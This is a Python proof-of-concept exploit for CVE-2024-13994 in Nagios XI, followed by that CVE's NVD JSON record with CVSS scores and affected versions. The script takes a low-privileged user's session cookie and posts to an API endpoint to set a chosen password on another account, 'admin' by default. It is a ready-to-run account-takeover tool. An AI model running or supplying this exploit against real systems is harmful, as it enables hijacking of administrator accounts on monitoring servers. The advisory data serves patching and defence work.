CVE-2024-13994

# CVE-2024-13994 PoC - Nagios XI Missing Authorization # When 'Allow Insecure Logins' is enabled, any authenticated user can create credentials for other users import requests import sys TARGET = "http://target-nagios-xi.local" ATTACKER_COOKIE = "nagiosxi=your_session_cookie_here" TARGET_USER = "admin" NEW_PASSWORD = "P@ssw0rd123!" def create_user_credentials(): """Exploit: Create/modify credentials for target user without authorization""" url = f"{TARGET}/nagiosxi/api/v1/users/credentials" headers = { "Cookie": ATTACKER_COOKIE, "Content-Type": "application/json", "X-Requested-With": "XMLHttpRequest" } payload = { "username": TARGET_USER, "password": NEW_PASSWORD } print(f"[*] Targeting: {TARGET}") print(f"[*] Target user: {TARGET_USER}") print(f"[*] Attempting to create credentials...") try: response = requests.post(url, json=payload, headers=headers, timeout=10, verify=False) if response.status_code == 200: result = response.json() if result.get('success'): print("[+] SUCCESS: Credentials created/modified!") print(f"[+] Target user: {TARGET_USER}") print(f"[+] New password: {NEW_PASSWORD}") return True else: print(f"[-] Failed: {result.get('message', 'Unknown error')}") return False else: print(f"[-] HTTP Error: {response.status_code}") print(f"[-] Response: {response.text}") return False except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return False if __name__ == "__main__": if len(sys.argv) > 1: ATTACKER_COOKIE = sys.argv[1] if len(sys.argv) > 2: TARGET_USER = sys.argv[2] if len(sys.argv) > 3: NEW_PASSWORD = sys.argv[3] create_user_credentials()

{"cve": {"id": "CVE-2024-13994", "sourceIdentifier": "[email protected]", "published": "2025-10-30T22:15:44.767", "lastModified": "2025-11-06T16:18:33.013", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Nagios XI versions prior to 2024R1.1.2 contain a missing authorization control when the 'Allow Insecure Logins' option is enabled. Under this configuration, any user can create valid login credentials for other users without proper authorization. This can lead to unauthorized account creation, privilege escalation, or full compromise of the Nagios XI web interface depending on the target account."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:*:*:*:*:*:*:*:*", "versionEndExcluding": "2024", "matchCriteriaId": "62CF7BF4-6AAA-443E-93B4-B2F080091C13"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:2024:r1:*:*:*:*:*:*", "matchCriteriaId": "85F1764D-1DD8-44B0-BF5A-2420CB519A3C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:2024:r1.0.1:*:*:*:*:*:*", "matchCriteriaId": "C1FE1A0B-78D1-4626-A4CD-21B843DA596E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:2024:r1.0.2:*:*:*:*:*:*", "matchCriteriaId": "CCAB888E-F030-4640-9A18-9E423E553308"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:2024:r1.1:*:*:*:*:*:*", "matchCriteriaId": "C648B0A4-053C-4884-8A37-4AF03053ED1C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:2024:r1.1.1:*:*:*:*:*:*", "matchCriteriaId": "893EEA99-0096-4C9F-BA8A-246A3E3F6C15"}]}]}], "references": [{"url": "https://www.nagios.com/changelog/nagios-xi/", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://www.nagios.com/products/security/#nagios-xi", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.vulncheck.com/advisories/nagios-xi-allow-insecure-logins-missing-authorization", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}